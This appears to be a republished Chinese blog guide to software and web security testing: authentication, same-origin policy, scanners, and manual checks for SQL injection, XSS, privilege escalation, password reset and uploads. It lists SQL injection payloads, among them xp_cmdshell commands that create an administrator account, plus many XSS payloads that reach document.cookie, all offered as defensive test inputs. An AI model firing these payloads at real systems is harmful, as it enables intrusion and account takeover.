软件安全测试点以及测试方法

软件安全性测试主要包括程序、数据库安全性测试。根据系统安全指标不一样测试策略也不一样。javascript

用户身份认证安全的测试要考虑问题:
1.明确区分系统中不一样用户权限
2.系统中会不会出现用户冲突
3.系统会不会因用户的权限的改变形成混乱
4.用户登录密码是不是可见、可复制
5.系统的密码策略,一般涉及到隐私,钱财或机密性的系统必须设置高可用的密码策略。
5.是否能够经过绝对途径登录系统(拷贝用户登录后的连接直接进入系统)
6.用户推出系统后是否删除了全部鉴权标记,是否可使用后退键而不经过输入口令进入系统html

系统网络安全的测试要考虑问题:
1.测试采起的防御措施是否正确装配好,有关系统的补丁是否打上
2.模拟非受权攻击,看防御系统是否坚固
3.采用成熟的网络漏洞检查工具检查系统相关漏洞(即用最专业的黑客攻击工具攻击试一下,如今最经常使用的是 NBSI系列和 IPhacker IP )
4.采用各类木马检查工具检查系统木马状况
5.采用各类防外挂工具检查系统各组程序的客外挂漏洞java


数据库安全考虑问题:
1.系统数据是否机密(好比对银行系统,这一点就特别重要,通常的网站就没有过高要求)
2.系统数据的完整性(我刚刚结束的企业实名核查服务系统中就曾存在数据的不完整,对于这个系统的功能实现有了障碍)
3.系统数据可管理性
4.系统数据的独立性
5.系统数据可备份和恢复能力(数据备份是否完整,能否恢复,恢复是否能够完整)web

 

浏览器安全
同源策略:不一样源的“document”或脚本,不能读取或者设置当前的“document”
同源定义:host(域名,或者IP),port(端口号),protocol(协议)三者一致才属于同源。
要注意的是,同源策略只是一种策略,而非实现。这个策略被用于一些特定的点来保护web的安全。
<script>,<img>,<iframe>,<link>等标签均可以跨域加载资源,不受同源策略的限制。
XMLHttpRequest,DOM,cookie受到同源策略的限制。
网站能够经过提供crossdomain.xml来容许某些源跨域访问本身的资源。
google chrome使用了多进程来隔离代码运行的环境,从而起到提升web安全的做用
Q & A
Q:cookie为何须要同源策略?
A:cookie有同源策略是必须的,这样能够保证A网站的用户(识别)信息不会被B网站获取到
Q:XMLHttpRequest为何须要同源策略?
A:两个例子:
(1)加入没有同源策略,某个网站的某张页面被你写入了一些js ,这些js有些ajax操做,若是某个用户访问了这张页面,你的js就能够得到用户的某些信息(cookie,本地文件等)而后经过ajax发送回你的服务器。 这就是安全问题,信息泄漏。
其实这个就是XSS攻击,为了防止XSS攻击后,用ajax请求返回用户敏感信息。可是其实XSS的攻击仅靠XMLHttpRequest的同源策略根本没用,后面的章节会看到。这也许是当时XSS还没那么丰富的时候,还算比较有效的安全策略。
(2)先假设浏览器没有限制跨域,A站的xhr请求B站的一个url,那么浏览器是要带上谁家的cookie一块儿请求呢?(每次http请求都要带上该站下的全部cookie)显然是B家的。假设B家的网站当前用户已经登陆,那么cookie里天然记录下了sessionId相关的东西以标识当前用户的身份,那么本次xhr请求很easy的经过了身份认证,而后后果就是不堪设想的。
这个就很正确,若是A能够用xhr跨站访问B,带着B的cookie天然能够经过B网站的验证,从而获取到敏感数据。因此这点是关键。ajax

web安全测试方法:
工具扫描
目前web安全扫描器针对OSinjection, XSS、SQL injection 、OPEN redirect 、PHP File Include漏洞的检测技术已经比较成熟。
商业软件web安全扫描器:有IBM Rational Appscan、WebInspect、Acunetix WVS 、burp suite
免费的扫描器:W3af 、Skipfish 等
根据业务资金,能够考虑购买商业扫描软件,也可使用免费的,各有各的好处。
首页能够对网站进行大规模的扫描操做,工具扫描确认没有漏洞或者漏洞已经修复后,再进行如下手工检测。chrome


手工检测
对于CSRF、越权访问、文件上传、修改密码 等漏洞,难以实现自动化检测的效果,这是由于这些漏洞涉及系统逻辑或业务逻辑,有时候还须要人机交互参与页面流程,
所以 这类漏洞的检测更多的须要依靠手动测试完成。shell

手工检测网站URL、后台登录是否具备数据库

SQL注入express

Admin--
‘or --
‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
and 1=2 ; ‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators /add”—
and 0<>(select count(*) from admin)跨域

 

XSS:

对于get请求的URL通常漏洞扫描软件均可扫描到是否存在XSS漏洞。(可是软件没有完美的,也有误报,或者有遗漏的状况)
对于POST的请求的(例如留言板,评论,等等),就是要在输入框输入的状况,则要进行如下测试
★~!@#$%^&*()_+<>,./?;'"[]{}\-
★%3Cinput /%3E
★%3Cscript%3Ealert('XSS')%3C/script%3E
★<input type="text"/>
★<input/>
★<input/  
★<script>alert('xss')</script>
★<script>alert('xss');</script>
★</script><script>alert(‘xss’)</script>
★javascript:alert(/xss/)
★javascript:alert(/xss/)
★<img src="#" onerror=alert(/xss/)> 
★<img src="#" style="Xss:expression(alert(/xss/));"> 
★<img src="#"/**/onerror=alert(/xss/) width=100>
★=’><script>alert(document.cookie)</script> 
★1.jpg" onmouseover="alert('xss')
★"></a><script>alert(‘xss’);</script>
★http://xxx';alert('xss');var/ a='a
★’”>xss&<
★"onmouseover=alert('hello');"
★&{alert('hello');}
  ★>"'><script>alert(‘XSS')</script>
  ★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;
%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
  ★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
  ★%22%2Balert(%27XSS%27)%2B%22
  ★<table background="javascript:alert(([code])"></table>
  ★<object type=text/html data="javascript:alert(([code]);"></object>
  ★<body onload="javascript:alert(([code])"></body>
  ★a?<script>alert(’Vulnerable’)</script>
★<!--'">&:
var from = ‘$!rundata.Parameters.getString(’from’)';
var from = ”;hackerFunction(document.cookie);”;

 

上面这些一样适用于GET请求
通过以上测试,若是发现输入框代码溢出,则说明可能存在XSS漏洞,说明要进行过滤.


关于越权操做的问题
例如A用户的我的资料ID为1 B用户我的资料ID为2,我经过登录B用户,把ID修改成1 就能够查看到用户A的我的资料,这就是越权。
测试方法:经过查看URL的get参数对那些相似明显的顺序数字 进行修改,看是否能越权访问。


关于登录安全的问题
除了SQL注入,还有找回密码功能会出现安全问题
邮箱找回密码测试方法:
先从邮箱参数修改开始,看填入用户名和本身修改的邮箱帐号,看是否能收到邮箱,收到后是否能修改。
若是不能修改邮箱参数那么,咱们就让它邮箱找回,接着点击邮箱内修改密码的连接,看连接的邮箱参数是否能够修改,用户名是否能够修改,加密的urlcode 是否能够逆向解密。
若是是手机找回密码功能:则测试手机收到的验证码是不是纯数字、纯字母的,若是是请修改成字母与数字的组合。

关于用开源程序的问题
关注网上你所用的开源程序的官网更新状况和安全事件。


关于上传:
1.上传文件是否有格式限制,是否能够上传exe文件;
2.上传文件是否有大小限制,上传太大的文件是否致使异常错误,上传0K的文件是否会致使异常错误,上传并不存在的文件是否会致使异常错误;
3.经过修改扩展名的方式是否能够绕过格式限制,是否能够经过压包方式绕过格式限制;
4.是否有上传空间的限制,是否能够超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。
5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。
6.关于上传是否成功的判断。上传过程当中,中断。程序是否判断上传是否成功。
7.对于文件名中带有中文字符,特殊字符等的文件上传。

下载:
避免输入:\..\web.
修改命名后缀。
输入验证
客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)
1.输入很大的数(如4,294,967,269),输入很小的数(负数)
2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,恰好到达限制字数时有何反应
3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|
4.输入中英文空格,输入字符串中间含空格,输入首尾空格
5.输入特殊字符串NULL,null,0x0d 0x0a
6.输入正常字符串
7.输入与要求不一样类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字
8.输入html和JavaScript代码
9.对于像回答数这样需检验数字正确性的测试点,不只对比其与问题最终页的回答数,还要对回答进行添加删除等操做后查看变化
例如:
1.输入<html”>”gfhd</html>

2.输入<input type=”text” name=”user” onclick="alert(1)"/>,看是否出现文本框;
3.输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。
4.输入”><script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。
5.输入 ”><script><” 看是否出现代码溢出

页面权限泄露
测试在不登录的状况下是否能够访问到后台的页面,这个只要把后台的目录的URL所有浏览一遍便可
关于任意文件下载
查看上传的图片文件是否能够删除,若是能够删除,查看删除的URL里面的参数是否能够修改。

详细的测试点:1.跨网站脚本攻击经过脚本语言的缺陷模拟合法用户,控制其帐户,盗窃敏感数据2.注入攻击经过构造查询对数据库、LDAP和其余系统进行非法查询3.恶意文件执行在服务器上执行Shell 命令Execute,获取控制权4.伪造跨站点请求发起Blind 请求,模拟合法用户,要求转帐等请求5.不安全对象引用不安全对象的引入,访问敏感文件和资源,WEB应用返回敏感文件内容6.被破坏的认证和Session管理验证Session token 保护措施,防止盗窃session7.Session的失效时间限制Session的失效时间设置是否过长,会形成访问风险8.不安全的木马存储过于简单的加密技术致使黑客破解编密码,隐秘信息被盗窃,验证其数据加密9.不安全的通信敏感信息在不安全通道中以非加密方式传送, 敏感信息被盗窃,验证其通信的安全性10.URL访问限制失效验证是否经过恶意手段访问非受权的资源连接,强行访问一些登录网页,窃取敏感信息11.信息泄露和不正确错误处理测试恶意系统检测,防止黑客用获取WEB站点的具体信息的攻击手段获取详细系统信息12.注册与登陆测试验证系统先注册后登陆、验证登陆用户名和密码匹配校验,密码长度及尝试登陆次数,防止 非法用户登陆13.超时限制验证WEB应用系统须要有是否超时的限制,当用户长时间不作任何操做的时候,须要从新登陆才能使用14.日志文件验证服务器上日志是否正常工做,全部事务处理是否被记录15.目录文件验证WEB服务器目录访问权限,或者每一个目录访问时有index.htm,防止 WEB 服务器处理不适当,将整个WEB目录暴露16.身份验证验证调用者身份、数据库身份、验证是否明确服务帐户要求、是否强制式试用帐户管理措施17.受权验证如何向最终用户受权、如何在数据库中受权应用程序,肯定访问系统资源权限18.会话验证如何交换会话标识符、是否限制会话生存期、如何确保会话存储状态安全19.配置管理验证是否支持远程管理、是否保证配置存储安全、是否隔离管理员特权20.备份与恢复为了防止系统意外崩溃形成的数据丢失,验证备份与恢复功能正常实现、备份与恢复方式是否知足Web系统安全性要求21.数据库关键数据是否进行加密存储,是否在网络中传递敏感数据22.在登陆或注册功能中是否有验证码存在,防止恶意大批量注册登陆的攻击23.Cookie文件是否进行了加密存储,防止盗用cookie内容24.密码强度提醒建议对密码的规则进行增强设置25.密码内容禁止拷贝粘贴

相关文章
相关标签/搜索